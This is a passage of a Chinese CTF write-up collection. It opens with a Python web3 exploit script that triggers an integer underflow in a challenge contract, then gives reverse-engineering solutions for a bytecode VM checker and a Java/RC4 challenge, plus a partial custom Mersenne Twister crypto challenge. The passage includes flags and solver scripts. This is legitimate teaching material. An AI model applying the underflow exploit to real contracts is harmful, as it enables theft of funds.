is_unlocked_before: print("\n✅ Vault 已经解锁,尝试直接获取 Flag...") flag = contract.functions.getFlag().call() print(f" 🚩 成功获取 Flag: {flag}") exit() # --- 步骤 2: 获取足够的积分 --- # 为了触发下溢,我们需要花费比 getSpentPoints() (初始为1000) 更多的积分 # 同时,我们必须拥有这么多积分才能通过 require 检查 points_needed = spent_points_before + 1 print(f"\n[步骤 2] 调用 addPoints() 获取 {points_needed} 积分") add_points_tx = contract.functions.addPoints(points_needed).build_transaction({ 'from': my_account.address, 'nonce': w3.eth.get_transaction_count(my_account.address), 'maxFeePerGas': w3.to_wei('2.5', 'gwei'), 'maxPriorityFeePerGas': w3.to_wei('2', 'gwei') }) send_and_wait_transaction(add_points_tx, "addPoints 调用") # 验证积分是否已添加 user_points_after_add = contract.functions.userPoints(my_account.address).call() print(f" 添加后用户积分: {user_points_after_add}") if user_points_after_add < points_needed: print("❌ 添加积分失败,退出。") exit() # --- 步骤 3: 触发整数下溢 --- print(f"\n[步骤 3] 调用 usePoints() 花费 {points_needed} 积分以触发下溢") use_points_tx = contract.functions.usePoints(points_needed).build_transaction({ 'from': my_account.address, 'nonce': w3.eth.get_transaction_count(my_account.address), 'maxFeePerGas': w3.to_wei('2.5', 'gwei'), 'maxPriorityFeePerGas': w3.to_wei('2', 'gwei') }) send_and_wait_transaction(use_points_tx, "usePoints 调用") # --- 步骤 4: 验证结果并获取 Flag --- print("\n[步骤 4] 验证攻击结果并获取 Flag") # 检查状态 is_unlocked_after = contract.functions.unlocked(my_account.address).call() spent_points_after = contract.functions.getSpentPoints().call() print(f" 攻击后 Vault 是否解锁: {is_unlocked_after}") print(f" 攻击后已花费积分 (下溢后的值): {spent_points_after}") if is_unlocked_after: # 调用 getFlag() flag = contract.functions.getFlag().call() print(f"\n🚩 {flag}") else: print("\n❌ 攻击失败") except Exception as e: print(f"\n发生错误: {e}")FLAG
flag{Good_NewStar2025_Byeeeee!}Reverse
天才的“认证”
Challenge
“我把空间站的防御系统拿来做了个小玩具。如果你能破解它,就来主控室找我。要是连这点事都办不到,就别来烦我了,笨蛋。”
【难度:中等】
Solution
解包+反编译得到:
# Decompiled with PyLingual (https://pylingual.io)# Internal filename: chall.py# Bytecode version: 3.8.0rc1+ (3413)# Source timestamp: 1970-01-01 00:00:00 UTC (0) class TinyVM: def __init__(self, bytecode, user_input): self.bytecode = bytecode self.user_input = user_input self.mem = [0] * 100 self.ip = 0 self.stack = [] self.f = False self.halted = False for i, char_code in enumerate(self.user_input): self.mem[16 + i] = char_code def push(self, value): self.stack.append(value & 255) def pop(self): return self.stack.pop() if self.stack else 0 def run(self): while not self.halted and self.ip < len(self.bytecode): opcode = self.bytecode[self.ip] self.ip += 1 if opcode == 1: self.push(self.bytecode[self.ip]) self.ip += 1 elif opcode == 2: self.push(self.mem[self.bytecode[self.ip]]) self.ip += 1 elif opcode == 3: self.mem[self.bytecode[self.ip]] = self.pop() self.ip += 1 elif opcode == 4: self.push(self.pop() + self.pop()) elif opcode == 5: self.push(self.pop() ^ self.pop()) elif opcode == 6: n, v = (self.pop(), self.pop()) self.push(v << n) elif opcode == 7: n, v = (self.pop(), self.pop()) self.push(v >> n) elif opcode == 8: self.push(self.pop() | self.pop()) elif opcode == 9: self.f = self.pop() == self.pop() elif opcode in [10, 11, 12]: offset = self.bytecode[self.ip] self.ip += 1 should_jump = opcode == 12 or (opcode == 10 and (not self.f)) or (opcode == 11 and self.f) if should_jump: if offset > 127: offset -= 256 self.ip += offset elif opcode == 13: self.push(len(self.user_input)) elif opcode == 14: addr = self.pop() self.push(self.mem[addr]) elif opcode == 15: addr = self.pop() val = self.pop() self.mem[addr] = val elif opcode == 255: self.halted = True else: self.halted = True return bool(self.pop()) def check_flag(s): BYTECODE = b'\x01i\x032\x011\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff' vm = TinyVM(BYTECODE, s.encode('utf-8')) return vm.run() def main(): print('「欢迎,开拓者。这里是一个被星核污染的赛博空间。」') print('「检测到未知访问者...」机械女声响起,像是黑塔空间站的自动防御系统') print('「哼,又一个被星核吸引来的家伙。想通过验证?先证明你不是个笨蛋吧。」——某位不愿透露姓名的天才俱乐部成员留言') try: user_flag = input('请输入正确的星核密语:') if check_flag(user_flag): print('\n「...有意思的访客。」空间站的灯光突然变成柔和的蓝色') print('「访问权限已授予。」黑塔的全息影像优雅地行了一礼') print(f'「这是你要的星核密钥:{user_flag}。不过要小心,它比你想象的要危险得多...」') print('「警告:检测到异常数据流...系统正在隔离污染区域...」') print('✅ 验证通过!螺丝咕姆的虚拟助手从控制台浮现:「建议您立即备份数据」✅') else: print('\n❌ 错误!空间站的防御炮台突然转向你 ❌') print('「哈!果然是个笨蛋~」——来自某位正通过监控看戏的少女声音') print("「建议:下次试试输入'黑塔女士天下第一'?」——系统自动生成的恶意提示") except Exception as e: print(f'\n[!] 星核能量不稳定!虚拟空间发生异常: {e}') print('「这种情况...难道是记忆星神的力量?」')if __name__ == '__main__': main()1. 分析 TinyVM 虚拟机
首先,我们需要理解虚拟机的指令集。通过阅读TinyVM.run方法的if/elif分支,我们可以解析出每个操作码(opcode)的功能:
self.mem: 一个大小为100的内存数组。self.user_input: 用户的输入(flag),被加载到内存的mem[16]到mem[16 + len(input) - 1]位置。self.stack: 用于计算的栈。self.ip: 指令指针,指向当前要执行的字节码。self.f: 一个布尔标志位,用于条件跳转。
指令集 (ISA):
0x01 (1):push imm- 将紧随其后的立即数压栈。0x02 (2):push mem[imm]- 将内存中mem[立即数]的值压栈。0x03 (3):pop mem[imm]- 弹出一个值并存入mem[立即数]。0x04 (4):add- 弹出两个值,相加后结果压栈。0x05 (5):xor- 弹出两个值,异或后结果压栈。0x06 (6):shl- 弹出n和v,将v << n的结果压栈。0x07 (7):shr- 弹出n和v,将v >> n的结果压栈。0x08 (8):or- 弹出两个值,或运算后结果压栈。0x09 (9):cmp- 弹出两个值,如果相等,self.f设为True,否则为False。0x0a (10):jne- 如果self.f为False,则进行跳转。0x0b (11):je- 如果self.f为True,则进行跳转。0x0c (12):jmp- 无条件跳转。0x0d (13):push len- 将用户输入的长度压栈。0x0e (14):push mem[pop]- 弹出一个地址,将mem[地址]的值压栈。0x0f (15):pop mem[pop]- 弹出值和地址,将值存入mem[地址]。0xff (255):halt- 停止虚拟机。
2. 分析字节码 (BYTECODE)
字节码是虚拟机的程序,我们需要反汇编它来理解其逻辑。
2.1 初始化阶段
字节码的前半部分是一系列push imm和pop mem[imm]指令,用于在内存中初始化一些数据。
b'\x01i\x032\x011\x033...'
\x01i\x032->push 'i',mem[50] = pop()->mem[50] = 105\x011\x033->push '1',mem[51] = pop()->mem[51] = 49
…以此类推,它将一个31字节的数组存储在mem[50]到mem[80]。这个数组是加密/变换后的正确flag,我们称之为expected_data。
2.2 检查输入长度
\r(0x0d):push len(user_input)\x01\x1f:push 31\t(0x09):cmp- 比较栈顶两个值,即len(user_input)和31。\n=(0x0a,0x3d):jne 61- 如果不相等(f为False),则向前跳转61字节到失败处理逻辑。
结论1:Flag的长度必须是31。
2.3 主循环与加密算法
接下来是一个循环,它逐个处理我们输入的字符。
\x01K\x03\x02:push 'K',mem[2] = pop()->mem[2]存储了密钥K(ASCII 75)。\x01\x00\x03\x00:push 0,mem[0] = pop()->mem[0]用作循环计数器i,初值为0。
循环体内的逻辑(伪代码):
// for i from 0 to 30: input_char = mem[16 + i] // 获取用户输入的第i个字符 key = mem[2] // 获取密钥 'K' (75) transformed_char = (input_char + i) ^ key // 核心变换 // 下面这部分是8位循环右移 (ROR) 5位 ror_part1 = transformed_char >> 5 ror_part2 = transformed_char << 3 final_char = ror_part1 | ror_part2 expected_char = mem[50 + i] // 获取预置的正确结果 if final_char != expected_char: jump to failure // 如果不匹配,则验证失败 i = i + 1 // 计数器+1 jump to loop start // 继续循环如果循环成功完成(i达到31),程序会跳转到成功路径,将1压栈并停止,check_flag返回True。否则,会跳转到失败路径,将0压栈并停止。
3. 逆向算法并求解
现在我们知道了加密过程,只需将其逆向操作即可得到原始的flag字符。
正向过程:
expected_char = ROR_5 ( (input_char + i) ^ key )
逆向过程:
-
逆向循环右移 (ROR_5): 循环右移5位的逆操作是循环左移 (ROL_5) 5位。对于一个8位字节
x,ROL(x, 5)等于((x << 5) | (x >> 3)) & 0xFF。
transformed_char = ROL_5(expected_char) -
逆向异或 (XOR): 异或的逆操作是其本身。
input_char + i = transformed_char ^ key -
逆向加法: 加法的逆操作是减法。
input_char = (transformed_char ^ key) - i
我们需要对 expected_data 中的每个字节执行这个逆向过程。
BYTECODE = b'\x01i\x032\x011\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff' simulated_mem = {}ip = 0 # 指令指针 # 循环解析字节码开头的'push imm; pop mem[imm]'序列while ip + 3 < len(BYTECODE): # 模式: \x01 <value> \x03 <address> if BYTECODE[ip] == 1 and BYTECODE[ip + 2] == 3: value = BYTECODE[ip + 1] address = BYTECODE[ip + 3] simulated_mem[address] = value ip += 4 else: # 初始化序列结束 break # 从模拟内存中提取加密后的数据 (位于 mem[50] 到 mem[80])# 地址 50 是 ASCII '2',地址 80 是 ASCII 'P'expected_data = [simulated_mem[addr] for addr in range(50, 81)] # 提取密钥。密钥被存入 mem[2]# 寻找 'pop mem[2]' 指令 (opcode 3, address 2)# 该指令序列为 \x01 <key> \x03 \x02key_write_pattern = b'\x03\x02'# 从初始化结束的位置开始搜索,确保找到的是正确的指令key_write_pos = BYTECODE.find(key_write_pattern, ip) if key_write_pos != -1: # 密钥值位于 'push' 指令和 'pop' 指令之间,即 `key_write_pos - 1` 的位置 key = BYTECODE[key_write_pos - 1] print(f"[*] 成功提取密钥: '{chr(key)}' (ASCII: {key})") flag_length = len(expected_data)flag_chars = [] for i in range(flag_length): expected_char = expected_data[i] # 1. 逆向 ROR_5 操作 -> ROL_5 (8位循环左移5位) # ROL(x, 5) = ((x << 5) | (x >> 3)) & 0xFF transformed_char = ((expected_char << 5) | (expected_char >> 3)) & 0xFF # 2. 逆向 XOR 操作 (异或的逆运算是其本身) temp_val = transformed_char ^ key # 3. 逆向加法操作 -> 减法 # 使用 (val - i) & 0xFF 来处理字节运算中的负数回绕 original_char_code = (temp_val - i) & 0xFF # 将解密出的字符编码添加到列表中 flag_chars.append(chr(original_char_code)) # 组合所有字符得到最终的 flagflag = "".join(flag_chars) print(flag)FLAG
flag{Bytec0de_And_St4ck_M4g1c!}Jvav Master
Challenge
——“你会Java吗?”
——“我会Jvav啊”
【难度:中等】
Solution
好眼熟的题呀,在哪里见过呢?[CTF+Binary-Re挑战题]-JvavMaster[Score5] | CTF+,还有我当时的WP
参考文章:GUI—— 从的可执行exe文件中提取jar包并反编译成Java - 知乎
下载 JD-GUI
🪟 + R 输入 %temp%,按时间降序,运行程序后刷新打开刚刚冒出来的文件夹
把文件夹里的 jvav.jar 拖到 jd-gui 进行反编译

能看到 Main , KeyChecker , FlagChecker , RC4 这四个类
主逻辑在 Main 类中,流程如下:
- 提示用户输入
key - 调用
KeyChecker.checkKey()验证key的正确性 - 如果
key正确,则提示用户输入flag - 调用
RC4.encrypt()使用key加密输入的flag - 调用
FlagChecker.Checker()验证加密后的数据 - 如果验证通过就输出 “right flag!”
因此流程是:逆 KeyChecker 算出正确的 key -> 逆 FlagChecker 推出 RC4 加密后的数据 -> 逆 RC4 ,用第一步得到的 key 解密第二步得到的数据,恢复出原始 flag
逆向 KeyChecker:
KeyChecker 类中的 checkKey 方法是关键,它通过一个嵌套循环来验证长度为 22 的 key
for (int i = 0; i < 22; i++) { long sum = 0L; int mask_i = MASK[i] & 0xFF; for (int j = i; j < 22; j++) { int mask_j = MASK[j] & 0xFF; int key_j = key[j] & 0xFF; int xor = (key_j ^ mask_i) & 0xFF; sum += xor * mask_j; } if (sum != TARGET[i]) return false;}代码设置了 22 个方程,如果我们从 i = 21 倒序分析会发现:
- 当
i = 21时,内层循环只有j = 21,方程中只包含一个未知数key[21] - 当
i = 20时,内层循环j遍历 20 和 21,方程包含key[20]和key[21],由于key[21]已知,我们也能解出key[20]
以此类推,这是一个可以从后向前依次求解的方程组,将这 22 个方程构建成约束模型让求解器找出满足所有条件的 key
逆向 FlagChecker:
FlagChecker 实现了一个小型虚拟机,它对长度为 48 的字节数组 data(即加密后的 flag)执行一系列操作:
- 指令获取:
Checker函数通过一个确定性的伪随机数生成器random(i)来获取指令,这意味着只要i的顺序不变的话指令序列就是固定的 - 指令集:
ADD,SUB,XOR,ROL(循环左移),ROR(循环右移) - 验证:VM 中还有一种特殊的
CHECK操作(opcode 204),它并不修改数据,而是断言在所有变换结束后,data数组中某个位置的值必须等于一个给定的参数
目标是找出能够通过所有 CHECK 操作的初始 data 数组,采用符号执行的思想解题:
- 将初始的 48 字节
data数组视为 48 个未知的符号变量 - 正向模拟 VM 的执行过程,对这些符号变量进行变换得到一系列复杂的符号表达式
- 当遇到
CHECK指令时添加一个约束:data[idx]对应的符号表达式必须等于param - 将所有约束交给求解器即可计算出能满足所有最终条件的初始
data数组的值
逆向 RC4:
RC4 类实现了一个魔改的 RC4 算法,与标准 RC4 相比区别在于:
- S-Box 初始化:
box[i] = 255 - i ^ 0x83 - KSA 密钥调度:
key[(j + 72) % key.length] - 加解密操作:
output[k] = (byte)(plaintext[k] + box[index] ^ 0x77)
从加密公式 ciphertext = (plaintext + keystream) ^ 0x77 可以推导出解密公式 plaintext = ((ciphertext ^ 0x77) - keystream),其中 keystream 就是 box[index]
由于 KSA 和 PRGA 过程是确定性的,只要有正确的 key 就能生成完全相同的密钥流,从而完成解密
exp如下:
from ctypes import c_int32from z3 import * def solve_KeyChecker(): MASK = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" TARGET = [ 107655, 99322, 95708, 87877, 85730, 80988, 72416, 76077, 74252, 70300, 68724, 68020, 63439, 53540, 51340, 42431, 37382, 28611, 25737, 18364, 9711, 9030 ] solver = Solver() # Define 22 unknown 8-bit variables for the key key_vars = [BitVec(f'k_{i}', 8) for i in range(22)] # Add constraints based on the checkKey logic for i in range(22): # Use a 64-bit vector for the sum to avoid overflow, matching Java's long current_sum = BitVecVal(0, 64) mask_i = BitVecVal(MASK[i], 8) for j in range(i, 22): mask_j = BitVecVal(MASK[j], 8) key_j = key_vars[j] xor_val = key_j ^ mask_i # Zero-extend 8-bit values to 64-bit before multiplication term = ZeroExt(56, xor_val) * ZeroExt(56, mask_j) current_sum += term # Add the final constraint for this iteration solver.add(current_sum == TARGET[i]) # Check if the constraints are satisfiable if solver.check() == sat: model = solver.model() key_bytes = bytearray(22) for i in range(22): key_bytes[i] = model[key_vars[i]].as_long() final_key = bytes(key_bytes) print(f"[*] Found Key: {final_key.decode()}") return final_key else: print("[-] Key not found. Constraints are unsatisfiable.") return None def solve_FlagChecker(): def to_signed_32(n): return c_int32(n).value def random_gen(seed): x = seed; x ^= to_signed_32(x << 19) & 0xF8DC19A1; x ^= (x >> 1 if x >= 0 else (x + 0x100000000) >> 1) | 0x1C024A0F; x = to_signed_32(x); x ^= to_signed_32(x << 9) ^ 0x278C9AD2; x = to_signed_32(x); x ^= (x >> 8 if x >= 0 else (x + 0x100000000) >> 8) & 0xCB239A92; x = to_signed_32(x); x ^= to_signed_32(x << 10) | 0x327A9FBA; x = to_signed_32(x); return to_signed_32(x ^ 0x234B4A91) instructions_map = {37533589: (204, 2, 225), 37535633: (5, 21, 5), 45963077: (5, 12, 3), 45965121: (4, 36, 2), 54359925: (3, 17, 129), 54361969: (3, 46, 26), 62691237: (1, 37, 235), 62693281: (3, 9, 112), 104609749: (1, 23, 127), 104611793: (204, 14, 166), 113104645: (1, 29, 96), 113106689: (204, 40, 148), 121501493: (204, 5, 92), 121503537: (4, 25, 7), 129767397: (204, 43, 68), 129769441: (204, 1, 98), 439399826: (3, 38, 94), 439401878: (3, 2, 213), 447829314: (2, 42, 221), 447831366: (1, 28, 54), 456226162: (1, 25, 229), 456228214: (1, 24, 74), 464557474: (5, 33, 7), 464559526: (1, 30, 15), 506475986: (1, 14, 209), 506478038: (5, 38, 7), 514970882: (4, 40, 4), 514972934: (204, 16, 51), 523367730: (204, 26, 75), 523369782: (1, 5, 244), 531633634: (3, 1, 33), 531635686: (5, 43, 1), 707277212: (204, 12, 239), 707279256: (2, 16, 88), 715772236: (5, 44, 1), 715774280: (2, 45, 156), 724169084: (4, 39, 5), 724171128: (2, 16, 34), 732434860: (3, 24, 146), 732436904: (5, 31, 7), 774418908: (5, 8, 4), 774420952: (4, 22, 2), 782848268: (5, 47, 6), 782850312: (204, 33, 57), 791245116: (3, 45, 118), 791247160: (3, 44, 32), 841233307: (3, 6, 232), 841235359: (1, 27, 119), 849728331: (1, 16, 175), 849730383: (5, 10, 3), 858125179: (4, 1, 1), 858127231: (1, 37, 237), 866390955: (3, 3, 185), 866393007: (204, 24, 21), 908375003: (204, 22, 174), 908377055: (204, 8, 221), 916804363: (3, 3, 21), 916806415: (204, 47, 87), 925201211: (1, 11, 27), 925203263: (4, 10, 5), 1113376653: (3, 18, 55), 1113378697: (5, 43, 1), 1121789789: (1, 26, 14), 1121791833: (5, 29, 1), 1130170221: (4, 45, 6), 1130172265: (3, 2, 56), 1138550717: (3, 24, 65), 1138552761: (204, 19, 218), 1180452813: (204, 29, 40), 1180454857: (204, 44, 197), 1188931357: (3, 4, 108), 1188933401: (204, 13, 214), 1197311789: (4, 21, 5), 1197313833: (4, 14, 1), 1205626877: (204, 28, 55), 1205628921: (204, 39, 165), 1515242890: (2, 19, 89), 1515244942: (2, 20, 212), 1523656026: (2, 1, 178), 1523658078: (3, 46, 60), 1532036458: (5, 30, 4), 1532038510: (4, 43, 4), 1540416954: (3, 19, 211), 1540419006: (3, 40, 236), 1582319050: (1, 44, 235), 1582321102: (2, 29, 238), 1590797594: (4, 13, 3), 1590799646: (204, 20, 1), 1599178026: (204, 32, 171), 1599180078: (204, 6, 241), 1607493114: (4, 39, 7), 1607495166: (3, 28, 242), 1783120260: (2, 38, 20), 1783122304: (4, 47, 5), 1791598932: (3, 18, 234), 1791600976: (2, 3, 32), 1799979364: (5, 32, 3), 1799981408: (5, 42, 3), 1808294324: (5, 41, 1), 1808296368: (4, 10, 7), 1850261956: (3, 34, 151), 1850264000: (4, 0, 3), 1858674964: (1, 47, 208), 1858677008: (2, 11, 45), 1867055396: (2, 7, 12), 1867057440: (5, 31, 6), 1875436020: (-1, 0, 0), 1917076355: (1, 23, 85), 1917078407: (4, 26, 3), 1925555027: (4, 17, 7), 1925557079: (4, 21, 2), 1933935459: (2, 13, 228), 1933937511: (4, 30, 7), 1942250419: (4, 18, 6), 1942252471: (4, 20, 6), 1984218051: (2, 30, 217), 1984220103: (204, 34, 144), 1992631059: (204, 11, 49), 1992633111: (1, 11, 84), 2001011491: (4, 37, 5), 2001013543: (2, 14, 97), -2105780347: (4, 23, 5), -2105778303: (5, 12, 4), -2097301675: (1, 41, 180), -2097299631: (2, 33, 121), -2088921243: (1, 32, 47), -2088919199: (5, 8, 6), -2080606283: (2, 3, 159), -2080604239: (204, 41, 53), -2038638651: (204, 7, 128), -2038636607: (5, 8, 5), -2030225643: (204, 37, 4), -2030223599: (3, 9, 82), -2021845211: (4, 36, 2), -2021843167: (204, 46, 51), -1703914110: (2, 0, 27), -1703912058: (3, 17, 103), -1695435438: (3, 24, 159), -1695433386: (4, 21, 5), -1687055006: (4, 5, 7), -1687052954: (5, 12, 3), -1678740046: (3, 41, 157), -1678737994: (1, 29, 140), -1636772414: (204, 30, 249), -1636770362: (2, 7, 30), -1628359406: (4, 1, 1), -1628357354: (2, 37, 139), -1619978974: (2, 46, 153), -1619976922: (4, 40, 1), -1435971188: (5, 19, 4), -1435969144: (1, 22, 172), -1427558052: (5, 19, 4), -1427556008: (3, 13, 188), -1419177620: (2, 41, 133), -1419175576: (1, 46, 39), -1410797124: (5, 42, 7), -1410795080: (2, 15, 211), -1368895028: (2, 27, 199), -1368892984: (2, 38, 237), -1360416484: (4, 39, 5), -1360414440: (204, 4, 12), -1352036052: (4, 4, 5), -1352034008: (204, 21, 20), -1343720964: (3, 25, 231), -1343718920: (4, 15, 2), -1302015093: (3, 22, 84), -1302013041: (3, 13, 161), -1293601957: (2, 12, 27), -1293599905: (5, 14, 4), -1285221525: (3, 5, 124), -1285219473: (5, 0, 5), -1276841029: (2, 28, 16), -1276838977: (204, 42, 58), -1234938933: (204, 38, 93), -1234936881: (204, 27, 229), -1226460389: (5, 7, 6), -1226458337: (4, 20, 4), -1218079957: (5, 32, 4), -1218077905: (4, 6, 3), -1209764869: (204, 15, 137), -1209762817: (204, 25, 159), -1038342243: (5, 20, 6), -1038340199: (204, 17, 49), -1029847219: (3, 36, 114), -1029845175: (5, 40, 4), -1021450371: (1, 11, 109), -1021448327: (3, 27, 168), -1013184595: (3, 39, 202), -1013182551: (2, 35, 74), -971200547: (204, 9, 81), -971198503: (204, 31, 58), -962771187: (3, 33, 126), -962769143: (2, 34, 172), -954374339: (2, 34, 197), -954372295: (4, 36, 7), -636476006: (3, 17, 231), -636473954: (4, 6, 5), -627980982: (3, 42, 93), -627978930: (1, 10, 38), -619584134: (5, 7, 4), -619582082: (5, 32, 2), -611318358: (3, 27, 118), -611316306: (4, 5, 7), -569334310: (2, 31, 83), -569332258: (5, 9, 3), -560904950: (204, 3, 89), -560902898: (1, 25, 79), -552508102: (4, 44, 6), -552506050: (204, 10, 161), -368533100: (2, 2, 179), -368531056: (2, 22, 160), -360103612: (5, 2, 5), -360101568: (5, 34, 2), -351706764: (5, 43, 1), -351704720: (3, 35, 4), -343375452: (5, 47, 6), -343373408: (1, 6, 12), -301456940: (5, 18, 7), -301454896: (204, 23, 205), -292962044: (204, 36, 150), -292960000: (5, 33, 7), -284565196: (204, 35, 219), -284563152: (4, 28, 2), -276299292: (2, 45, 88), -276297248: (1, 0, 54), -234577005: (1, 15, 192), -234574953: (4, 35, 5), -226147517: (2, 4, 198), -226145465: (2, 4, 205), -217750669: (4, 35, 5), -217748617: (5, 26, 5), -209419357: (5, 8, 4), -209417305: (1, 15, 181), -167500845: (1, 9, 147), -167498793: (204, 18, 215), -159005949: (4, 23, 5), -159003897: (5, 16, 2), -150609101: (4, 26, 5), -150607049: (5, 31, 2), -142343197: (204, 0, 59), -142341145: (204, 45, 120)} instruction_list = [] i = 0 while True: rand_val = random_gen(i) op, idx, param = instructions_map[rand_val] param &= 0xFF if op == -1: break instruction_list.append((op, idx, param)) i += 1 solver = Solver() # Define 48 unknown 8-bit variables for the initial encrypted data initial_data = [BitVec(f'd_{i}', 8) for i in range(48)] # Create a working copy for symbolic execution current_data = list(initial_data) # Execute the VM symbolically in FORWARD order for op, idx, param in instruction_list: p = BitVecVal(param, 8) if op == 1: # ADD current_data[idx] += p elif op == 2: # SUB current_data[idx] -= p elif op == 3: # XOR current_data[idx] ^= p elif op == 4: # ROL current_data[idx] = RotateLeft(current_data[idx], param) elif op == 5: # ROR current_data[idx] = RotateRight(current_data[idx], param) elif op == 204: # CHECK # add a constraint solver.add(current_data[idx] == p) # Check for a satisfying model if solver.check() == sat: model = solver.model() result_bytes = bytearray(48) for i in range(48): result_bytes[i] = model[initial_data[i]].as_long() encrypted_data = bytes(result_bytes) print(f"[*] Found Encrypted Data (hex): {encrypted_data.hex()}") return encrypted_data else: print("[-] Encrypted data not found.") return None def decrypt_rc4(ciphertext, key): box = [(255 - i) ^ 0x83 for i in range(256)] x = 0 for j in range(256): x = (x + box[j] + key[(j + 72) % len(key)]) % 256 box[j], box[x] = box[x], box[j] x = 0 y = 0 plaintext = bytearray() for cipher_byte in ciphertext: x = (x + 3) % 256 y = (y - box[x]) & 0xFF box[x], box[y] = box[y], box[x] index = (box[x] ^ box[y]) % 256 keystream_byte = box[index] decrypted_byte = ((cipher_byte ^ 0x77) - keystream_byte) & 0xFF plaintext.append(decrypted_byte) return bytes(plaintext) if __name__ == "__main__": key = solve_KeyChecker() if key: encrypted_data = solve_FlagChecker() if encrypted_data: flag = decrypt_rc4(encrypted_data, key) print(f"[*] Flag: {flag.decode('utf-8')}")FLAG
flag{4r3_y0U_g0oD_a7_j4vA?I'm_V3rY_Go0d_47_JvaV}挑战题
[Cry]随机数之旅2
Challenge
mt19.937,哇哦。
def _int32(x): return int(0xFFFFFFFF & x) class MT19_937: def __init__(self, seed): self.mt = [0] * 114 self.mt[0] = seed self.mti = 0 for i in range(1, 114): self.mt[i] = _int32(1145141919 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i) def extract_number(self): if self.mti == 0: self.twist() y = self.mt[self.mti] y = y ^ y >> 11 y = y ^ y << 7 & 0x0d000721 self.mti = (self.mti + 1) % 114 return _int32(y) def twist(self): for i in range(0, 114): y = _int32((self.mt[i] & 0x90000000) + (self.mt[(i + 1) % 114] & 0x8fffffff)) self.mt[i] = (y >> 1) ^ self.mt[(i + 66) % 114] if y % 2 != 0: self.mt[i] = self.mt[i] ^ 0x0d000721 import uuidimport randomfrom Crypto.Util.number import bytes_to_long flag="flag{"+str(uuid.uuid4())+"}"m=bytes_to_long(flag.encode()) task=MT19_937(random.randint(1,2**64))hint=[task.extract_number() for _ in range(114)] key=[task.extract_number() for _ in range(11)]x=1for i in key: x*=i print(hint)print(m^x) """[3087640461, 3390259250, 1438539830, 4233208353, 2167538746, 1799697423, 3269225280, 2288778833, 1085937367, 1944378284, 2700010619, 2059866475, 842139295, 2499615956, 546930396, 4218265097, 3782950633, 2176357850, 1313899063, 3431271261, 3939859540, 3402881241, 1858715039, 2719031679, 240548369, 285783730, 2626727253, 2929465001, 2446734965, 836047189, 867017221, 1818925543, 596378287, 395385566, 750647916, 3206204309, 2461646206, 2542870230, 2767124444, 1348627486, 2195449698, 1224650582, 672493933, 3766509405, 1446227046, 2643731109, 253013460, 3353090231, 4212486318, 2194454687, 467889179, 3178101384, 3478152799, 537984157, 2160482478, 2342101721, 1323208079, 1010888095, 4025143040, 970426479, 2024955565, 2539264131, 780427764, 4281975102, 2857652878, 3406208921, 1095856384, 2222682088, 2847893594, 3314746929, 562358156, 3828827999, 4199395, 1352113622, 2621402776, 3890169856, 3730475625, 1030082319, 2075118377, 703958339, 1632454424, 276576599, 786425749, 4236610533, 3516595401, 2675707905, 2740105150, 307753552, 3259978575, 44168116, 805033307, 2780974107, 1365320807, 2440115715, 1085336234, 3465576825, 4059143168, 2347457546, 501704091, 3190136496, 2224101972, 662764619, 2379322764, 2212857876, 158560917, 2071270518, 2884996935, 922217317, 914808686, 3647075295, 1766841987, 2999527721, 3867097498, 3305696126]174279382333440272527169405563126775575894462244164992062996670946512594329265894481264929021062073725 """Solution
-
理解目标:脚本的目标是恢复
flag,flag被编码为一个长整数m,然后与一个密钥x进行异或(XOR)操作,我们得到了异或后的结果m^x和一个hint列表 -
分析PRNG(伪随机数生成器): 脚本使用了一个名为
MT19_937的类,这很明显是基于著名的 Mersenne Twister (MT19937) 算法的变种- 状态大小: 它的内部状态
self.mt是一个长度为 114 的列表,标准 MT19937 的状态大小为 624 - 混淆:
extract_number方法从内部状态中取出一个数字,并对其进行一系列的位移和异或操作,这是标准的 Mersenne Twister 操作,但使用的常量和操作(y = y ^ y << 7 & 0x0d000721)是自定义的 - 扭曲:
twist方法用于在状态用完时生成新的状态,这个过程也是 MT 算法的核心,它使用了自定义的参数(如(i + 66) % 114和魔数0x0d000721)
- 状态大小: 它的内部状态
-
找到突破口:
- 我们得到了一个
hint列表,其长度为 114,正好等于 PRNG 的内部状态大小 hint中的每一个数字都是从 PRNG 的内部状态mt[i]经过extract_number中的 tempering 操作后得到的- 如果我们能逆转这个 tempering 操作,我们就可以从
hint恢复出 PRNG 在某个时刻的完整内部状态mt
- 我们得到了一个
-
逆转Tempering操作:
extract_number中的 tempering 过程如下:y = y ^ (y >> 11)y = y ^ ((y << 7) & 0x0d000721)
- 我们需要按相反的顺序逆转这两个操作
- 逆转操作2:
